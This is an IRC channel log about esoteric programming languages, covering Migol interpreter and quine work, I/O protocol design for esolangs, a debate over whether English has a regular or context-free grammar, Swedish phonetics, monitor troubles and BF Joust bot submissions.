05:31:27 -!- kerlo has quit (anthony.freenode.net irc.freenode.net).
05:31:28 -!- Sgeo_ has joined.
05:32:29 -!- ehird has quit (Read error: 110 (Connection timed out)).
05:33:09 -!- ehird_ has changed nick to ehird.
05:35:43 -!- jix has joined.
05:35:55 -!- kerlo has joined.
05:37:18 -!- kerlo has quit (Killed by reynolds.freenode.net (Nick collision)).
05:37:19 -!- Sgeo has joined.
05:37:19 -!- coppro has joined.
05:37:19 -!- kerlo has joined.
05:37:25 -!- kerlo_ has joined.
05:38:02 -!- kerlo has quit (Connection reset by peer).
05:39:29 -!- bsmntbombdood has joined.
05:39:31 -!- ehird has quit (Remote closed the connection).
05:43:58 -!- ehird has joined.
05:47:43 <GregorR-L> Exciting conversation going on here.
05:50:43 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
06:06:15 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
06:17:10 <GregorR-L> We should look up names of people that haven't logged in to #esoteric for years and hunt them down :P
06:25:56 <myndzi> once upon a time on dalnet
06:26:11 <myndzi> i was in this channel with some dudes
06:26:17 <myndzi> i got sucked into mudding and neglected irc, when i came back they were gone
06:26:20 <myndzi> (moved to efnet i guess)
06:26:36 <myndzi> someone messaged me up with a quote from that time, asking if i was the same myndzi
06:28:42 <psygnisfive> that was back when ehird was, what, 5 years old, ehird? he was probably in here bitching about shit too.
06:29:09 <psygnisfive> blah blah blah monads blah blah blah bfjoust blah blah blah
06:29:14 <myndzi> my nick dropped in that time
06:29:22 <myndzi> and a time before that too
06:29:25 <myndzi> so it only goes back to 2000 :(
06:38:46 <calamari> GregorR-L: did you take the quiz to find out which circle of hell you belong to?
06:38:49 -!- GregorR-L has set topic: <myndzi> once upon a time on dalnet | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
06:40:00 <calamari> I think it's malebolge tho, right?
06:43:41 <calamari> http://www.facebook.com/apps/application.php?id=202157420226
06:45:58 <kerlo_> Wow, GregorR is on Facebook.
06:46:31 <kerlo_> I'm going to send him a friend salutation, and he's going to deny it because he's not going to know who I am.
06:46:45 <kerlo_> No, not a salutation. A solicity.
06:47:05 <kerlo_> No, not a solicity. A solicitude.
06:52:13 -!- Sgeo_ has quit (Read error: 60 (Operation timed out)).
07:01:26 <GregorR-L> calamari: I don't do FaceBook apps.
07:01:51 <lament> monads monads monads monads monads bfjoust monads
07:02:47 <GregorR-L> lament: Imperative imperative imperative imperative fyb imperative.
07:07:54 -!- AnMaster has quit ("ZNC - http://znc.sourceforge.net").
07:14:36 <lament> lambda, the ultimate sex toy.
07:38:57 <psygnisfive> a monad monad monad monad monad monad monad monad monad monad monad monad BFJOUST BFJOUST
07:41:10 -!- AnMaster has joined.
07:44:58 <AnMaster> atm I'm stuck below native resolution on an old backup gfx card
07:45:16 <GregorR-L> !swedish AnMaster: What happened to your primary card?
07:45:17 <EgoBot> UnMester: Vhet heppened tu yuoor preemery cerd? Bork Bork Bork!
07:45:18 <AnMaster> so be aware of that I'm rather irritated
07:46:14 <AnMaster> 1280x1024 on 1400x1050 isn't pretty. Trust me
07:46:44 <AnMaster> GregorR-L, fan broke. Going to get the fan replaced today.
07:47:02 * AnMaster doesn't trust himself to to that, thus going to leave it to pros.
07:47:33 <GregorR-L> !swedish AnMaster: Sounds expensive.
07:47:34 <EgoBot> UnMester: Suoonds ixpenseefe-a. Bork Bork Bork!
07:48:26 <AnMaster> GregorR-L, I can't read that !swedish one
07:48:50 <AnMaster> GregorR-L, and 450 SEK for both new fan AND replacement of it.
07:49:12 <EgoBot> http://google.com/search?q=450+sek+in+USD
07:50:16 <AnMaster> GregorR-L, the card is an AGP based GeForce 7600 GS
07:51:04 <AnMaster> 01:00.0 VGA compatible controller: ATI Technologies Inc RV280 [Radeon 9200 PRO] (rev 01)
07:51:21 <AnMaster> so low end it doesn't even have a fan!
07:51:29 <AnMaster> but just a rather small heatsink
07:52:32 <AnMaster> then I could get a high res part in the middle instead
07:52:38 <AnMaster> seen that on some laptops for some reason
07:53:09 <AnMaster> but can't find any such feature in the menus on this monitor
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:19:57 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
08:20:05 -!- psygnisfive has joined.
08:40:30 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
08:41:24 -!- oerjan has joined.
08:42:53 -!- psygnisfive has joined.
08:58:43 -!- Slereah has joined.
09:15:25 -!- oerjan has quit ("leaving").
09:15:27 -!- calamari- has joined.
09:15:59 -!- calamari has quit (Read error: 110 (Connection timed out)).
09:30:20 <GregorR-L> ^^^ This is how Americans think that Swedish people talk.
09:53:23 -!- psygnisfive has quit (anthony.freenode.net irc.freenode.net).
09:53:23 -!- coppro has quit (anthony.freenode.net irc.freenode.net).
09:54:15 -!- psygnisfive has joined.
09:54:15 -!- coppro has joined.
10:00:55 -!- Judofyr has joined.
10:06:58 -!- coppro has quit (Connection timed out).
10:08:04 -!- Judofyr_ has joined.
10:16:57 -!- calamari- has quit ("Leaving").
10:37:48 -!- Judofyr has quit (Read error: 113 (No route to host)).
11:00:50 <AnMaster> GregorR-L, Americans are wrong?
11:01:37 <AnMaster> puzzlet, Swedish doesn't have ü...
11:02:39 <AnMaster> GregorR-L, and I can't figure out why it thinks "ball" would turn into "bell"... Rather it might turn into "båll"
11:03:08 <AnMaster> that English a sound there is somewhere between our a sound and our å sound.
11:03:40 <GregorR-L> AnMaster: Go to youtube.com and type "Swedish Chef", and you will understand :P
11:03:55 <GregorR-L> Well, not understand, but at least see X-P
11:05:06 <AnMaster> and to me it sounds nothing like how a Swede bad at English would talk
11:05:55 <AnMaster> sure, there are sounds in English that aren't in Swedish (and vice versa) but that "chef" one didn't get those right.
11:05:59 <GregorR-L> I'm told that it's actually a hyper-extreme version of the accents of some areas of Minnesota, where Swedes immigrated and their accent later mixed and warped with the American one.
11:06:13 * AnMaster challenges GregorR-L to pronounce "sju"
11:06:22 <AnMaster> a sound not found in English. Or most other languages
11:07:02 <GregorR-L> Anyway, it's all silliness, and has no bearing on real Swedish people, who to be honest in my experience are taught English from such a young age that they sound mostly like some mix of American and British English accents when speaking English :P
11:07:40 <GregorR-L> AnMaster: Is "sju" just an "s" followed by "ju"? Or is there some sound we don't have that you can't spell?
11:08:20 <AnMaster> http://en.wikipedia.org/wiki/Voiceless_palatal-velar_fricative
11:09:17 <GregorR-L> "Its place of articulation is disputed (see below)." Wow
11:09:37 <GregorR-L> So even the name "Voiceless palatal-velar fricative" isn't sufficient for me to reproduce it :P
11:09:51 <AnMaster> GregorR-L, I never needed a name to pronounce it!
11:09:56 <puzzlet> i know, i just wanted to see how it handles
11:10:15 <GregorR-L> AnMaster: Well, not having any other reference, and knowing in general what all those words mean, at least that gives me a hint.
11:10:32 <AnMaster> GregorR-L, which is "I give up"? ;P
11:12:45 <GregorR-L> Oh you crazy Swedes and your unique fricatives.
11:12:50 <GregorR-L> At least we Americans have our schwer.
11:13:28 <AnMaster> aspell doesn't think that word exists
11:13:31 <GregorR-L> The 'r' sound in "blur" when pronounced with an American accent.
11:13:36 <AnMaster> (but then it is set to en-GB so :P)
11:14:09 <GregorR-L> Uhhhh, no? In the south they /don't/ have the schwer :P
11:14:16 <GregorR-L> Well, yes they do, but less often.
11:14:49 <AnMaster> GregorR-L, Western movie? Texas sound. They mess up lots of stuff
11:14:50 -!- puzzlet has quit (Read error: 54 (Connection reset by peer)).
11:15:26 <AnMaster> GregorR-L, btw about r sound: http://en.wikipedia.org/wiki/Swedish_phonology#.2Fr.2F-realizations_and_the_retroflexes
11:15:33 <GregorR-L> I like that you're describing an accent as "messing up lots of stuff" :P
11:15:41 -!- puzzlet has joined.
11:15:46 <AnMaster> GregorR-L, compared to Oxford English yeah :P
11:16:15 <GregorR-L> What with Oxford being in England :P
11:16:32 <AnMaster> GregorR-L, I'm surprised there isn't any "New Oxford" :P
11:17:05 <GregorR-L> Probably somewhere, but not of any significance.
11:17:12 <GregorR-L> I don't see schwer there. Schwer is a vowel, btw.
11:17:42 <GregorR-L> Schwa is the non-r-colored variant, yes.
11:18:00 <GregorR-L> Or, more accurately, schwer is the r-colored variant of schwa :P
11:18:13 <AnMaster> btw, I can't stand this 1280x1024 on 1400x1050 monitor thing.... So I'm going to be mostly afk
11:18:22 <AnMaster> before I get a headache from it
11:19:21 <AnMaster> GregorR-L, it is VGA too. Doesn't help.
11:19:50 <GregorR-L> I was making an affirmative sound :P
11:20:09 <AnMaster> GregorR-L, but with the nvidia card, and at native res, vga works just fine
11:20:14 <AnMaster> since that is all the monitor has
11:20:52 <GregorR-L> Analog does not deserve the pariah status it's got.
11:21:30 <AnMaster> GregorR-L, it is worse on this card for some reason
11:23:10 <jix> vga on crt is fine
11:23:17 <jix> vga on tft is often really bad
11:26:15 <AnMaster> would need conversion in the monitor
11:26:37 <jix> as would vga on tft
11:26:49 <AnMaster> yes, but that is rather common
11:26:59 <AnMaster> while dvi on crt... I never heard of it
11:27:08 <AnMaster> jix, anyway vga on tft usually works fine
11:27:21 <jix> AnMaster: well i guess with better tfts it's ok
11:27:35 <AnMaster> jix, "Acer AL2017" is what I have
11:27:48 <AnMaster> and here it depends very much on the graphic card in use
11:27:52 <Asztal> messing with the VGA settings on my monitor produces some awesome results
11:28:16 <AnMaster> awesome as in good or awesome as in spectacular?
11:29:23 <AnMaster> Asztal, with spectacular I meant "spectacular like holding a magnet close to a CRT" kind of spectacular
11:30:24 <Asztal> it's kind of a shimmering horizontal sine wave, if I look at the right bitmap
11:30:36 <Asztal> (alternating black/white in both directions)
11:31:33 <Asztal> it also does with things on both VGA and DVI if I fill some of the white pixels with black, they look green and blue instead
11:31:42 <AnMaster> Asztal, I always had crystal clear results after one click on auto button displaying a black/white checker pattern with each square the size of 1 pixel
11:32:01 <AnMaster> and then I never need to rerun auto unless I change the graphic card as I did now
11:32:58 <Asztal> It's rarely perfect with my monitor, unfortunately, there's usually a blue-green-red gradient
11:34:42 <AnMaster> Asztal, are you sure you are using a shielded cable btw?
11:35:11 <AnMaster> (also I never had such an issue with my previous Syncmaster 171B, which also was vga-only..)
11:37:01 <Asztal> maybe mine is a syncnovice
11:37:55 <AnMaster> Asztal, but anyway good cable helps. Usually thicker cables are better. Probably due to the extra thickness being more shielding
11:37:59 <Asztal> it's an unshielded cable, but I thought that mostly prevented interference, or possibly ghosting?
11:38:10 <AnMaster> I'm not suggesting "monstercable" style here. Just good shielded cable
11:38:34 <AnMaster> Asztal, strange are the ways of electromagnetism...
12:08:26 <GregorR-L> GregorR: Gee, you're not logged in.
12:10:15 -!- GregorR has joined.
12:31:25 -!- BeholdMyGlory has joined.
12:54:34 <AnMaster> I never heard of "PESOIX" before
12:54:47 <AnMaster> and I don't think PSOX is *widely* used at least
12:56:20 <lifthrasiir> PESOIX is the one mentioned in this page: http://jonripley.com/easel/
12:57:54 <Slereah> How do I put two graphics on the same level in LaTeX?
12:58:48 <AnMaster> I have done that... Hm *tries to remember where and/or how*
13:11:24 <lifthrasiir> anyway i have designed this one: http://lifthrasiir.jottit.com/exe it is certainly duplicated effort, though. :S
13:27:19 -!- Corun has joined.
13:31:01 -!- Corun has quit (Client Quit).
13:42:15 -!- Corun has joined.
13:50:36 -!- KingOfKarlsruhe has joined.
13:59:05 <AnMaster> lifthrasiir, this would be mostly for BF I guess?
13:59:52 <AnMaster> lifthrasiir, because handling null bytes will be a PTIA in many esolangs.
13:59:54 <lifthrasiir> AnMaster: i don't think so... well, with an exception of funge-98.
14:01:37 <AnMaster> PITA = Pain in the Back (you can figure out what the last word should be yourself
14:02:36 <lifthrasiir> could you give me actual example? i cannot imagine such one.
14:02:38 <AnMaster> lifthrasiir, also, doesn't null byte collide with how EOF is handled? That is: , returns 0 on EOF
14:02:55 <AnMaster> lifthrasiir, what about underload? Though that one doesn't have input...
14:03:17 <AnMaster> I think it would be hard in Taxi too
14:03:22 <lifthrasiir> AnMaster: byte-oriented I/O should sufficient, i think.
14:04:01 <AnMaster> lifthrasiir, which several of esolangs lack. Some have printable char ones, some have whole string ones. and some lack IO at all of course
14:04:35 <AnMaster> lifthrasiir, what about this: Split the thing in two parts
14:04:54 <AnMaster> the frontend could be replaced to fit the type of IO used
14:05:04 <AnMaster> it basically just defines encoding scheme
14:05:14 <AnMaster> the backend implements the actual functions and calls
14:05:27 <AnMaster> so frontend should be called "protocol" probably
14:06:01 <AnMaster> then if language can't output null bytes you can use a different protocol or such
14:06:02 <lifthrasiir> that is what i'm considering now, but i have no idea about I/O based on printable character only.
14:06:43 <lifthrasiir> and that'd be quite hard to find the good protocol for them.
14:06:53 <AnMaster> lifthrasiir, I remember seeing some esolang that you couldn't print chars not in the source in, and where chars in source had to be printable (with exception of newline)
14:07:33 <lifthrasiir> (for example, how about invocation sequence? PLEASEENABLEEXEVERSION0? :p)
14:08:00 <AnMaster> lifthrasiir, that would probably have to be defined by the protocol yes
14:08:23 <AnMaster> protocol would need to define:
14:08:54 <AnMaster> encoding/decoding of function calls and their parameters
14:09:45 <lifthrasiir> and how to retrieve the return value, of course.
14:10:16 <AnMaster> lifthrasiir, I guess that always using STDIO would be a good idea
14:10:47 <AnMaster> for talking to process in general?
14:11:05 <AnMaster> I mean. Most langs that can talk with anything in any way have stdio
14:11:15 <AnMaster> those that doesn't have stdio tends to lack, uh tcp and such too
14:11:28 <AnMaster> it would however be funny with an esolang with tcp but no stdio support
14:11:40 <lifthrasiir> and I/O thingy are for doing arbitrary I/O with _only_ stdio.
14:11:52 <lifthrasiir> (i.e. remapping stdin/stdout to arbitrary source/sink)
14:12:22 <AnMaster> lifthrasiir, yeah. Anyway parameters could have to be encoded as ASCII or whatever.
14:13:07 <AnMaster> The open mode is ORed value of the following flags: <-- hm I guess that is ok if protocol part could read it as ascii and then convert to integer
14:13:40 <AnMaster> the trick is leaving enough freedom for the the protocol module without making it too freeform and complex
14:13:47 <AnMaster> which I agree isn't easy to pull off
14:15:12 <lifthrasiir> maybe i have to encode byte as integer followed by one space, like Funge "." command.
14:26:24 <lifthrasiir> BeholdMyGlory: is #<$+1?=[4]<$+1?=[3] valid migol code?
14:28:14 <jix> i extended the view of an array of 120000 items in firebug... :/
14:30:12 -!- Judofyr_ has changed nick to Judofyr.
14:31:03 <lifthrasiir> well, that was invalid, thus general statement is form of TARGET{<[OP]VALUE}[?OP VALUE].
14:31:19 <lifthrasiir> (guess what? i'm trying to make migol interpreter.)
15:08:53 -!- FireFly has joined.
15:33:25 -!- kar8nga has joined.
15:42:59 <pikhq> So, AMD has 6 core chips now.
15:43:24 <pikhq> ehird: That means the uberrig has an additional 16 cores. :p
15:53:21 <BeholdMyGlory> Ok, just be prepared that the specification is going to change a bit in the near future, regarding I/O
15:54:58 <FireFly> I don't really remember, I'll have to wait 'till MigoMipo gets online
15:56:59 <FireFly> IIRC hex numbering will be introduced (with x prefix, should be valid everywhere where decimal numbers are), and the syntax was something in the lines of &(number1)/(number2)
15:57:40 <FireFly> Where (number1) is a number related to a command (input, output), and (number2) is a pointer to an array of memory slots which the command may use
15:58:14 <FireFly> E.g. printing and supplying &id/3 (I don't remember the particular ID), would print the char at cell 3
15:58:36 <FireFly> Also, I believe output will be manually flushed, although I'm not 100% certain
15:59:29 -!- mtd has joined.
16:01:20 <lifthrasiir> 1<48,2<60,3<49,4<44,...,71<62,72<91,73<91,74<48,75<93,76<93,0<1,[0]>-,'<>,[[0]]>-,',>,0<$+1,#<$-5?<>[[0]],0<1,[[0]]>,0<$+1,#<$-2?<>[[0]]
16:01:54 <lifthrasiir> (i recall the feeling of programming in kipple...)
16:02:41 <FireFly> Heh, I was trying to create a quine in Migol, but never succeeded
16:02:52 <FireFly> But then I don't really have much experience of quines
16:03:28 <BeholdMyGlory> is that really a working quine? :O add that to the wiki!
16:04:39 <lifthrasiir> FireFly: well, many quines have general structure; storing the data, printing that data twice in the different representation.
16:05:08 <lifthrasiir> in this example, 1<48,...76<93 sets up the memory to contain the following code.
16:05:57 <lifthrasiir> and the following code prints the memory once in form of "addr<char,", and prints again as literal character in that time
16:07:49 -!- oerjan has joined.
16:10:05 -!- inurinternet has joined.
16:11:39 <pikhq> Yeah, quines are rather simple. Fun, though.
16:13:10 -!- MigoMipo has joined.
16:19:35 -!- pikhq_ has joined.
16:21:05 -!- inurinternet has quit (Read error: 60 (Operation timed out)).
16:25:10 -!- pikhq has quit (Nick collision from services.).
16:25:17 -!- pikhq_ has changed nick to pikhq.
16:26:28 -!- Slereah has quit ("Leaving").
16:27:36 -!- inurinternet has joined.
16:39:29 <oerjan> lifthrasiir: any reason why you put the Migol examples on the talk page rather than in the main article?
16:39:46 <lifthrasiir> oerjan: i'm not sure the interpreter is finished.
16:40:23 <lifthrasiir> at least migol09.jar works, but the specification is quite vague in some area, like EOF handling.
16:40:37 * oerjan will see if the formatting trick he used for the /// quine works for the Migol quine too
16:40:50 <lifthrasiir> i've also surprised when newline follows null character
16:46:38 <oerjan> putting it in <code><nowiki></nowiki></code> doesn't give a good line wrap with the /// one
16:47:10 * oerjan wonders if this is very browser dependent
16:47:18 -!- sebbu2 has joined.
16:48:22 <FireFly> Ah, sorry for the incoherent URLs to the Migol interpreter, by the way
16:48:34 <FireFly> I need to structure my stuff better
16:51:36 -!- inurinternet has quit (Connection timed out).
16:51:52 <MigoMipo> My idea is that, for a "complete" platform, 3 things are needed: 1. Algorithms, 2.Data structures and 3. I/O.
16:52:06 <MigoMipo> 1 and 2 can be done in Migol. Sort of.
16:52:39 <MigoMipo> When I/O is done, it should be possibly to write, for example, a HTTP server in Migol.
16:53:09 <lifthrasiir> by the way, advanced I/O is missing in many, possibly most esolangs; they only provide standard input and output.
16:53:35 <MigoMipo> lifthrasiir: Yes, but advanced I/O makes it more interesting.
16:53:49 <MigoMipo> The fact that most esolangs lack it makes it even cooler.
16:54:11 <FireFly> I still believe we should keep a lighter version
16:54:39 <FireFly> But I still find the idea with heavier I/O interesting, so it could be a separate version?
16:54:56 <MigoMipo> Sure, I could have a Migol Standard Console Edition and a Migol Bloated Enterprise Edition.
16:56:01 <pikhq> Obviously all esolangs should have an FFI.
16:56:10 <lifthrasiir> MigoMipo: first thing i would suggest is replacing "value>" output statement with "[@]<value". it seems more natural.
16:56:22 <pikhq> Which reminds me: screw PSOX. C FFI via stdio. :p
16:56:27 <lifthrasiir> and by natural extension, you can select the I/O target with "@<value"! :
16:59:39 <jix> hmm defend9 seems to be a bit too large for my bf joust debugger
17:00:08 -!- inurinternet has joined.
17:01:01 <oerjan> jix: are you also not managing to avoid expanding ()* and ({})%
17:01:03 <jix> hmm i need to make some of this stuff lazy evaluating then i think...
17:01:14 <oerjan> seems to be a common affliction around here
17:01:24 <jix> oerjan: i could but then evaluation would be slow
17:01:43 <oerjan> why in the world would it be slow
17:01:45 <jix> because i'd have to keep a stack instead of linear instruction pointer
17:01:57 <jix> a stack of loop iteration counts
17:02:12 <jix> which can't be (without real continuations) the native stack
17:03:17 <oerjan> because you are doing two programs simultaneously...
17:04:03 <oerjan> i don't know about such things. is a manually maintained stack really that much slower?
17:04:38 -!- sebbu has quit (Read error: 110 (Connection timed out)).
17:04:43 -!- sebbu2 has changed nick to sebbu.
17:07:32 -!- oerjan has quit ("Brain stubbornly refuses to think about programming").
17:11:25 <lifthrasiir> MigoMipo: ah, also is that newline is followed by null character intended?
17:13:15 -!- sebbu2 has joined.
17:15:33 -!- kar8nga has quit (Remote closed the connection).
17:20:27 <MigoMipo> lifthrasiir: I implemented the interpreter in Java, and it reads input directly from System.in.
17:20:40 <MigoMipo> Unfortunately, newline characters are included.
17:21:04 <lifthrasiir> hmm, you mean you intended "foobar\0baz\0" or so?
17:21:07 <MigoMipo> The interpreter adds the null characters when the input buffern is empty.
17:22:07 <MigoMipo> lifthrasiir: Yup, I thought it would make sense to end input with 0.
17:22:32 <lifthrasiir> MigoMipo: various, but doesn't use null character at all.
17:22:56 <lifthrasiir> (and some interpreter sets the current cell zero if EOF is encountered)
17:23:26 <MigoMipo> I want Migol to be able to handle binary input too, but it probably don't.
17:29:22 <pikhq> Your internal parser must have some interesting BNF.
17:31:25 <MigoMipo> The parsing is made using entirely regular expressions.
17:31:37 -!- sebbu has quit (Connection timed out).
17:31:37 -!- sebbu2 has changed nick to sebbu.
17:31:49 <pikhq> Well, that explains why your internal parser is broken.
17:32:32 <pikhq> I'm *damned* sure that English doesn't have a regular grammar.
17:33:01 <pikhq> Hell, it might be an unrestricted grammar.
17:33:11 <pikhq> Meaning that it needs a Turing machine to parse.
17:33:16 <MigoMipo> Aaha, you talked about English.
17:36:39 <lament> i thought a grammar was some kind of high-level specification for a *fixed* language
17:36:49 <lament> how can English have a grammar?
17:37:00 <MigoMipo> http://en.wikipedia.org/wiki/English_grammar
17:43:10 -!- inurinternet has quit (Success).
17:43:30 -!- inurinternet has joined.
17:51:05 -!- Corun has changed nick to Corun|away.
18:00:57 -!- impomatic has joined.
18:06:46 <kerlo_> English has a stochastic regular grammar.
18:07:40 <kerlo_> You can tell it's not general context free by the fact that "that that that that that that that that that that that that is is is is is is is is is is is is" is not a valid sentence.
18:07:58 <pikhq> kerlo_: No, it certainly is not a regular grammar.
18:08:11 <pikhq> A hint: the regular grammars are a subset of the context free grammars.
18:08:48 <kerlo_> What makes you think it certainly is not?
18:09:15 <pikhq> If it's not a context free grammar, it certainly can't be a regular grammar.
18:09:29 <kerlo_> Maybe I should have said something else.
18:09:31 -!- Corun|away has changed nick to Corun.
18:09:50 <pikhq> Now you're just being confusing.
18:09:51 -!- impomatic has left (?).
18:09:55 <kerlo_> Anyway, okay. Regular grammars are to O(x) as context-free grammars are to O(x^2) as English grammar is to O(x log x).
18:10:21 <pikhq> Do you happen to got by BadAnalogyGuy on /.?
18:10:41 <kerlo_> That's not a bad analogy, it's just incomprehensible.
18:11:04 <pikhq> So it's a *terrible* analogy. Got it.
18:11:23 <kerlo_> What I meant by that is that English is like a regular grammar except it can keep a stack of depth approximately proportional to the log of the length of the sentence.
18:12:00 <kerlo_> Which is a subset of the context-free grammars, probably, but a superset of the regular grammars.
18:12:29 <pikhq> Which means it's not at all a regular grammar. Or context-free.
18:12:53 <pikhq> Perhaps a context-sensitive grammar.
18:12:54 <kerlo_> Being able to keep a stack of depth approximately proportional to the log of the length of the sentence makes it not context-free?
18:13:13 <pikhq> That implies context. ;)
18:13:23 <kerlo_> I was under the impression that context-free grammars had stacks.
18:14:08 <kerlo_> Like the grammar <foo> ::= "(" <foo> ")" | "[" <foo> "]" | epsilon. That obviously has a stack.
18:14:42 <pikhq> Ah, yes. English isn't context-free, but not for that reason...
18:15:10 <kerlo_> Indeed, English will always have its irregularities.
18:15:18 <jix> kerlo_: but you can have a stack that is linear with the length i think....
18:15:20 <kerlo_> And incontextfreeities.
18:15:24 <jix> (in english)
18:15:34 <kerlo_> jix: not if you want people to understand you.
18:16:36 <jix> kerlo_: but that is a stupid restriction
18:16:52 <kerlo_> People being able to understand you? No, it's not. :-P
18:17:00 <jix> as you can't formalize it in any sane way i'd say
18:17:12 <kerlo_> I don't think you can formalize English in any sane way.
18:17:32 <pikhq> Yes you can. Just grab a Turing machine.
18:17:37 <pikhq> Oh, and go insane.
18:17:55 <kerlo_> Making theories about it, on the other hand, is easy for both English and understanding of English.
18:18:00 * kerlo_ rings a Fibonacci bell.
18:18:10 <kerlo_> (For loose definitions of "easy".)
18:18:49 * kerlo_ ponders English phrases with large stacks.
18:19:15 <tetha> what about garden path sentences?
18:19:25 * kerlo_ ponders garden path sentences.
18:19:43 <tetha> like "the old man the boat"
18:22:23 <kerlo_> "The old man..." has multiple parsings, I guess, and you have to keep track of them.
18:23:08 * kerlo_ opens up lynx and searches for garden path sentences.
18:23:30 <kerlo_> "Welcome to Xubuntu"? I had no idea I was running that.
18:24:04 <tetha> yep, the major problem is that english appears to be outside of DCFL
18:26:11 <tetha> deterministic context free languages
18:26:11 * kerlo_ opens Wikipedia in Lynx and sees lots of "v o d o e".
18:26:19 <tetha> can be parsed with a deterministic stack automaton
18:26:24 <pikhq> tetha: I expanded it after hitting enter.
18:26:44 -!- kar8nga has joined.
18:28:46 <kerlo_> Anyway, the only stack-expanding word that comes to mind is the 'that' of 'I want that you come'.
18:28:59 * kerlo_ immediately realizes he's using 's instead of "s.
18:30:36 <tetha> and this opens the doors for mayhem like "i want that you want that i want that you want that i come"
18:35:38 -!- olsner has joined.
18:36:31 <kerlo_> That's not nearly as stack-expanding as it could be.
18:36:43 <kerlo_> It can be treated linearly.
18:47:06 -!- jix_ has joined.
18:58:55 -!- kar8nga has quit (Remote closed the connection).
18:59:31 <pikhq> kerlo_: N-buffalo sentences, though...
19:00:12 -!- jix has quit (Read error: 113 (No route to host)).
19:00:23 <kerlo_> Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo Buffalo buffalo Buffalo buffalo buffalo. I think.
19:00:34 <kerlo_> If that's not right, it's because I picked a non-linear way to expand.
19:00:52 <lament> If that's not right, it's because I was standing on the shoulders of giants.
19:01:51 <kerlo_> And now for a definition! "Linear" might mean "either left-branching or right-branching", as opposed to both-ways-branching.
19:02:14 <kerlo_> Heck. Is there a regular expression that produces the N-buffalo sentences for all N?
19:02:30 <kerlo_> Regular expressions are totally linear.
19:03:17 <Asztal> so, regular expressions can parse halflife2?
19:03:52 <kerlo_> Don't be ridiculous. Exponential decay is exponential, not linear.
19:06:49 -!- inurinternet has quit (Connection timed out).
19:14:17 -!- tombom has joined.
19:19:23 <kerlo_> Whoa. IPA in lynx displays as SAMPA.
19:20:27 -!- AnMaster has quit (Read error: 60 (Operation timed out)).
19:25:30 <kerlo_> And the missing part of that sentence is "on Wikipedia".
19:25:55 <kerlo_> (Congratulations to all who guessed correctly.)
19:27:12 <kerlo_> I'm trying to find the ä sound, as in "Autistic law, Paw, walks tall."
19:35:54 <kerlo_> "The saw caught the law."
19:36:12 <kerlo_> Apparently it's O in Kirshenbaum.
19:36:13 -!- inurinternet has joined.
19:39:12 -!- tetha has quit (Nick collision from services.).
19:39:21 -!- tetha has joined.
20:08:32 -!- oerjan has joined.
20:11:42 -!- kar8nga has joined.
20:17:12 <oerjan> <kerlo_> Heck. Is there a regular expression that produces the N-buffalo sentences for all N?
20:17:29 <oerjan> can you define the N-buffalo sentences for us?
20:22:36 <nescience> you mean "Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo Buffalo buffalo buffalo."?
20:23:01 -!- Corun has changed nick to Corun|away.
20:23:26 <nescience> {[buffalo from Buffalo] that [buffalo from Buffalo] [bully]} bully {[buffalo from Buffalo] that [buffalo from Buffalo] [bully]}
20:23:51 <pikhq> oerjan: In English, a sentence composed of N instances of "buffalo" is a valid sentence for any value of N greater than 0.
20:24:09 -!- Corun|away has changed nick to Corun.
20:24:25 <pikhq> Those are N-buffalo sentences.
20:24:42 <oerjan> it doesn't tell _how_ you make them, especially with correct capitalization
20:24:42 <pikhq> Then why did you ask for a definition?
20:25:13 <pikhq> Tad bit more complex to do with correct capitalisation.
20:25:15 <oerjan> pikhq: i need a context-free grammar first if i'm supposed to tell if it's regular...
20:29:46 <kerlo_> Okay. In "Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo", the production rules are...
20:29:59 <kerlo_> <sentence> ::= <noun phrase> "buffalo" <noun phrase>
20:30:10 <kerlo_> <noun phrase> ::= "Buffalo" <noun phrase>
20:30:19 <jix_> hmmm my bfjoust debugger starts to get usable :)
20:30:24 <kerlo_> <noun phrase> ::= <noun phrase> <noun phrase> "buffalo"
20:30:34 <kerlo_> <noun phrase> ::= "buffalo"
20:31:02 <pikhq> Doesn't cover the 1-buffalo sentence.
20:31:07 <kerlo_> Of course, this leads to silly regexes like /(Buffalo )* buffalo buffalo./
20:31:27 <kerlo_> Buffalo Buffalo buffalo are just Buffalo buffalo.
20:31:40 <oerjan> kerlo_: i don't feel a Buffalo prefix can be repeated
20:31:42 <jix_> can't you adjust the rules for that?
20:32:09 <pikhq> kerlo_: Buffalo Buffalo buffalo == Bully buffalo from buffalo.
20:32:12 <oerjan> i suggest <noun phrase> ::= "Buffalo buffalo" instead
20:32:17 <pikhq> s/buffalo./Buffalo./
20:32:48 <jix_> couldn't you do
20:32:48 <jix_> <noun phrase> ::= "Buffalo" <restricted noun phrase>
20:32:48 <jix_> <noun phrase> ::= <restricted noun phrase>
20:33:14 <jix_> and define restriced noun phrase accordingly?
20:33:38 <kerlo_> <s> ::= <np> "buffalo> <np>
20:33:51 <kerlo_> <np> ::= "Buffalo" <rnp>
20:34:02 <kerlo_> <np> ::= <np> <np> "buffalo"
20:34:20 <kerlo_> <rnp> ::= <rnp> <np> "buffalo"
20:34:41 <oerjan> er, why the second last one?
20:35:39 <oerjan> i don't see why rnp needs to contain anything but "buffalo"
20:37:02 <oerjan> <np> becomes the same strings anyway
20:37:40 <oerjan> <s> ::= <np> "buffalo" <np>
20:38:05 <oerjan> <np> ::= "Buffalo buffalo" | "buffalo" | <np> <np> "buffalo"
20:39:52 <oerjan> the last production of <np> is the only thing that might make it non-regular
20:41:27 <oerjan> hm <np> cannot produce an even number of lower-case buffaloes
20:43:11 <pikhq> And all this neglects that a n-buffalo sentence is initially capitalised.
20:43:47 <oerjan> that's not going to change regularity though, i think
20:44:00 <pikhq> Nah. Just changes the specifics.
20:47:26 <jix_> !bfjoust wiggle1 (>[-[-[-[+]]]]+>[+[+[+[-]]]]-)*40
20:47:34 <EgoBot> Score for jix__wiggle1: 29.5
20:48:08 -!- jix_ has changed nick to jix.
20:48:18 <jix> !bfjoust wiggle1 (>[-[-[-[++++[+]]]]]+>[+[+[+[----[-]]]]]-)*40
20:48:26 <EgoBot> Score for jix_wiggle1: 32.9
